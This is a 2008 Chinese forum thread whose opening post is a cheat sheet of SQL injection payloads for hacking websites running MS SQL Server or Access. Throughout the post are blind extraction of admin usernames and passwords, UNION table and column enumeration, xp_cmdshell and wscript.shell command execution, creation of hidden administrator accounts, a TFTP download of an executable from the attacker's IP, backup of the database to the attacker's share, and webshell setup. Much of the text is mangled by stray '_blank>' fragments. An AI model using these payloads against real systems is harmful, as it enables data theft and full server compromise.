找回密码
 开放注册

QQ登录

只需一步,快速开始

微信登录

微信扫码,快速开始

搜索
查看: 633|回复: 1

入侵网站必备经典语句

[复制链接]

25

主题

360

回帖

520

牛毛

一级牛人

[fly]专业灌水[/fly]

积分
520
QQ
发表于 2008-11-3 05:16:23 | 显示全部楼层 来自 山东省临沂市
[s:183][s:183] 额`看不懂,等我在努力哈

4

主题

129

回帖

186

牛毛

一级牛人

积分
186
QQ
 楼主| 发表于 2008-11-3 04:58:17 | 显示全部楼层 |阅读模式 来自 北京市丰台区
.判断有无注入点

  ; and 1=1 and 1=2

  2.猜表一般的表的名称无非是admin adminuser user pass

  password 等..

  and 0(select count(*) from *)

  and 0(select

  count(*) from admin) ---判断是否存在admin这张表

  3.猜帐号数目 如果遇到00)--

  and 1=(select

  count(*) from admin where len(用户字段名称name)>0)

  and 1=(select count(*) from

  admin where len(_blank>密码字段名称password)>0)

  5.猜解各个字段的长度

  猜解长度就是把>0变换 直到返回正确页面为止

  and 1=(select count(*) from admin where

  len(*)>0)

  and 1=(select count(*) from admin where len(name)>6) 错误

  and 1=(select count(*) from admin where len(name)>5) 正确 长度是6

  and

  1=(select count(*) from admin where len(name)=6) 正确

  and 1=(select

  count(*) from admin where len(password)>11) 正确

  and 1=(select count(*)

  from admin where len(password)>12) 错误 长度是12

  and 1=(select count(*) from

  admin where len(password)=12) 正确

  6.猜解字符

  and 1=(select count(*) from

  admin where left(name,1)=a) ---猜解用户帐号的第一位

  and 1= (select count(*) from admin

  where left(name,2)=ab)---猜解用户帐号的第二位

  就这样一次加一个字符这样猜,猜到够你刚才猜出来的多少位了就对了,帐号就算出来了

  and 1=(select top 1 count(*) from Admin where Asc(mid (pass,5,1))=51) --

这个查询语句可以猜解中文的用户和_blank>密码.只要把后面的数字换成中文的ASSIC码就OK.最后把结果再转换成字符.

  group by users.id having 1=1--

  group by users.id, users.username,

  users.password, users.privs having 1= 1--

  ; insert into users values( 666,

  attacker, foobar, 0xffff )--

  UNION SELECT TOP 1 COLUMN_blank>_NAME

  FROM INFORMATION_blank>_SCHEMA.COLUMNS WHERE TABLE_blank>

  _NAME=logintable-

  UNION SELECT TOP 1 COLUMN_blank>_NAME FROM

  INFORMATION_blank>_SCHEMA.COLUMNS WHERE TABLE_blank>_NAME=logintable WHERE

  COLUMN_blank>_NAME NOT IN (login_blank>_id)-

  UNION SELECT TOP 1

  COLUMN_blank>_NAME FROM INFORMATION_blank>_SCHEMA.COLUMNS WHERE

  TABLE_blank>_NAME=logintable WHERE COLUMN_blank>_NAME NOT IN

  (login_blank>_id,login_blank>_name)-

  UNION SELECT TOP 1

  login_blank> _name FROM logintable-

  UNION SELECT TOP 1 password FROM

  logintable where login_blank>_name=Rahul--

  看_blank>服务器打的补丁=出错了打了SP4补丁

  and 1=(select @@VERSION)--

  看_blank>数据库连接账号的权限,返回正常,证明是_blank>服务器角色sysadmin权限。

  and

  1=(SELECT IS_blank>_SRVROLEMEMBER(sysadmin))--

  判断连接_blank>数据库帐号。(采用SA账号连接 返回正常=证明了连接账号是SA)

  and sa=(SELECT

  System_blank>_user)--

  and user_blank>_name()=dbo--

  and

  0(select user_blank>_name()--

  看xp_blank>_cmdshell是否删除

  and 1=(SELECT count(*) FROM master.dbo.sysobjects WHERE xtype = X AND name =

  xp_blank>_cmdshell)--

  xp_blank>_cmdshell被删除,恢复,支持绝对路径的恢复

  ;EXEC

  master.dbo.sp_blank>_addextendedproc xp_blank>_cmdshell,xplog70.dll--

  ;EXEC master.dbo.sp_blank>_addextendedproc xp_blank>_cmdshell,c:

  \\inetpub\\wwwroot\\xplog70.dll--

  反向PING自己实验

  ;use master;declare @s

  int;exec sp_blank>_oacreate \"wscript.shell\",@s out;exec sp_blank>_oamethod

  @s,\"run\",NULL,\"cmd.exe /c ping 192.168.0.1\";--

  加帐号

  ;DECLARE @shell

  INT EXEC SP_blank>_OACREATE wscript.shell,@shell OUTPUT EXEC SP_blank>

  _OAMETHOD @shell,run,null, C:\\WINNT\\system32\\cmd.exe /c net user jiaoniang$

  18***74 /add--

  创建一个虚拟目录E盘:

  ;declare @o int exec

  sp_blank>_oacreate wscript.shell, @o out exec sp_blank>_oamethod @o, run,

  NULL, cscript.exe c:\\inetpub\\wwwroot\\mkwebdir.vbs -w \"默认Web站点\" -v \"e\",\"e: \\\"--

  访问属性:(配合写入一个webshell)

  declare @o int exec sp_blank>_oacreate

  wscript.shell, @o out exec sp_blank>_oamethod @o, run, NULL, cscript.exe

  c:\\inetpub\\wwwroot\\chaccess.vbs -a w3svc/1/ROOT/e +browse


  爆库

  特殊_blank>技巧::%5c=\\ 或者把/和\\ 修改%5提交

  and 0(select top 1 paths from

  newtable)--

  得到库名(从1到5都是系统的id,6以上才可以判断)

  and 1=(select name from

  master.dbo.sysdatabases where dbid=7)--

  and 0(select count(*) from

  master.dbo.sysdatabases where name>1 and dbid=6)

  依次提交 dbid = 7,8,9....

  得到更多的_blank>数据库名

  and 0(select top 1 name from

  bbs.dbo.sysobjects where xtype=U) 暴到一个表 假设为 admin

  and 0 (select top

  1 name from bbs.dbo.sysobjects where xtype=U and name not in (Admin)) 来得到其他的表。

  and 0(select count(*) from bbs.dbo.sysobjects where xtype=U and

  name=admin

  and uid>(str (id))) 暴到UID的数值假设为187****9569 uid=id

  and

  0(select top 1 name from bbs.dbo.syscolumns where id=187****9569)



得到一个admin的一个字段,假设为 user_blank>_id

  and 0(select top 1 name from

  bbs.dbo.syscolumns where id=187****9569 and name not in

  (id,...)) 来暴出其他的字段

  and 0_id from BBS.dbo.admin where username>1)

  可以得到用户名

  依次可以得到_blank>密码。。。。。假设存在user_blank>_id username ,password 等字段

  and 0(select count(*) from master.dbo.sysdatabases where

  name>1 and dbid=6)

  and 0 (select top 1 name from

  bbs.dbo.sysobjects where xtype=U) 得到表名

  and 0(select top 1 name from

  bbs.dbo.sysobjects where xtype=U and name not in(Address))

  and

  0(select count(*) from bbs.dbo.sysobjects where xtype=U and name=admin

  and uid>(str(id))) 判断id值

  and 0(select top 1 name from

  BBS.dbo.syscolumns where id=773****7794) 所有字段

  ?id=-1 union select

  1,2,3,4,5,6,7,8,9,10,11,12,13,* from admin

  ?id=-1 union select

  1,2,3,4,5,6,7,8, *,9,10,11,12,13 from admin (union,access也好用)

  得到WEB路径

  ;create table [dbo].[swap] ([swappass][char](255));--

  and (select top 1

  swappass from swap)=1--

  ;CREATE TABLE newtable(id int IDENTITY(1,1),paths

  varchar(500)) Declare @test varchar(20) exec master..xp_blank>_regread

  @rootkey=HKEY_blank>_LOCAL_blank>_MACHINE, @key=SYSTEM\\CurrentControlSet

  \\Services\\W3SVC\\Parameters\\Virtual Roots\\, @value_blank>_name=/, values=@test

  OUTPUT insert into paths (path) values(@test)--

  ;use ku1;--

  ;create

  table cmd (str image);-- 建立image类型的表cmd

  存在xp_blank>_cmdshell的测试过程:

  ;exec master..xp_blank>_cmdshell dir

  ;exec

  master.dbo.sp_blank>_addlogin jiaoniang$;-- 加SQL帐号

  ;exec

  master.dbo.sp_blank>_password null,jiaoniang$,18***74;--

  ;exec

  master.dbo.sp_blank>_addsrvrolemember jiaoniang$Content$nbsp;sysadmin;--

  ;exec

  master.dbo.xp_blank>_cmdshell net user jiaoniang$Content$nbsp;18***74 /workstations:*

  /times:all /passwordchg:yes /passwordreq:yes /active:yes /add;--

  ;exec

  master.dbo.xp_blank>_cmdshell net localgroup administrators jiaoniang$

  /add;--

  exec master..xp_blank> _servicecontrol start, schedule


  启动_blank>服务

  exec master..xp_blank>_servicecontrol start, server

  ;

  DECLARE @shell INT EXEC SP_blank>_OACREATE wscript.shell,@shell OUTPUT EXEC

  SP_blank>_OAMETHOD @shell,run,null, C:\\WINNT\\system32\\cmd.exe /c net user

  jiaoniang$Content$nbsp;18***74 /add

  ;DECLARE @shell INT EXEC SP_blank>_OACREATE

  wscript.shell,@shell OUTPUT EXEC SP_blank>_OAMETHOD @shell,run,null,

  C:\\WINNT\\system32\\cmd.exe /c net localgroup administrators jiaoniang$Content$nbsp;/add

  ;

  exec master..xp_blank>_cmdshell tftp -i youip get file.exe-- 利用TFTP上传文件

  ;declare @a sysname set @a=xp_blank>_+cmdshell exec @a dir c:\\

  ;declare @a sysname set @a=xp+_blank>_cm’+’dshell exec @a dir c:\\

  ;declare @a;set @a=db_blank>_name();backup database @a to

  disk=你的IP你的共享目录bak.dat

  如果被限制则可以。

  select * from openrowset

  (_blank>sqloledb,server;sa;,select OK! exec master.dbo.sp_blank>_addlogin

  hax)

  查询构造:

  SELECT * FROM news WHERE id=... AND topic=... AND .....

  adminand 1=(select count(*) from [user] where username=victim and

  right(left(userpass,01),1)=1) and userpass?

  select 123;--

  ;use

  master;--

  :a or name like fff%;-- 显示有一个叫ffff的用户哈。

  and 1(select

  count (email) from [user]);--

  ;update [users] set email=(select top 1 name

  from sysobjects where xtype=u and status>0) where name=ffff;--

  ;update

  [users] set email=(select top 1 id from sysobjects where xtype=u and name=ad)

  where name=ffff;--

  ;update [users] set email=(select top 1 name from

  sysobjects where xtype=u and id>581****7110) where name=ffff;--

  ;update

  [users] set email=(select top 1 count(id) from password) where name=ffff;--

  ;update [users] set email=(select top 1 pwd from password where id=2) where

  name=ffff;--

  ;update [users] set email=(select top 1 name from password

  where id=2) where name=ffff;--

  上面的语句是得到_blank>数据库中的第一个用户表,并把表名放在ffff用户的邮箱字段中。

  通过查看ffff的用户资料可得第一个用表叫ad

  然后根据表名ad得到这个表的ID 得到第二个表的名字

  insert into

  users values( 666, char(0x63)+char(0x68)+char(0x72)+char(0x69)+char(0x73),

  char(0x63)+char (0x68)+char(0x72)+char(0x69)+char(0x73), 0xffff)--

  insert

  into users values( 667,123,123,0xffff)--

  insert into users values ( 123,

  admin--, password, 0xffff)--

  ;and user>0

  ;and (select count(*) from

  sysobjects)>0

  ;and (select count(*) from mysysobjects)>0

  //为access_blank>数据库

  枚举出数据表名

  ;update aaa set aaa=(select top 1

  name from sysobjects where xtype=u and status>0);--

  这是将第一个表名更新到aaa的字段处。

  读出第一个表,第二个表可以这样读出来(在条件后加上 and name刚才得到的表名)。

  ;update aaa set

  aaa=(select top 1 name from sysobjects where xtype=u and status>0 and

  namevote);--

  然后id=1552 and exists(select * from aaa where aaa>5)

  读出第二个表,一个个的读出,直到没有为止。

  读字段是这样:

  ;update aaa set aaa=(select top 1

  col_blank>_name (object_blank>_id(表名),1));--

  然后id=152 and

  exists(select * from aaa where aaa>5)出错,得到字段名
您需要登录后才可以回帖 登录 | 开放注册

本版积分规则

帮助|Archiver|小黑屋|通信管理局专项备案号:[2008]238号|NB5社区 ( 皖ICP备08004151号;皖公网安备34010402700514号 )

GMT+8, 2025-1-16 17:53 , Processed in 0.120922 second(s), 25 queries , Yac On.

Powered by Discuz! X3.5

快速回复 返回顶部 返回列表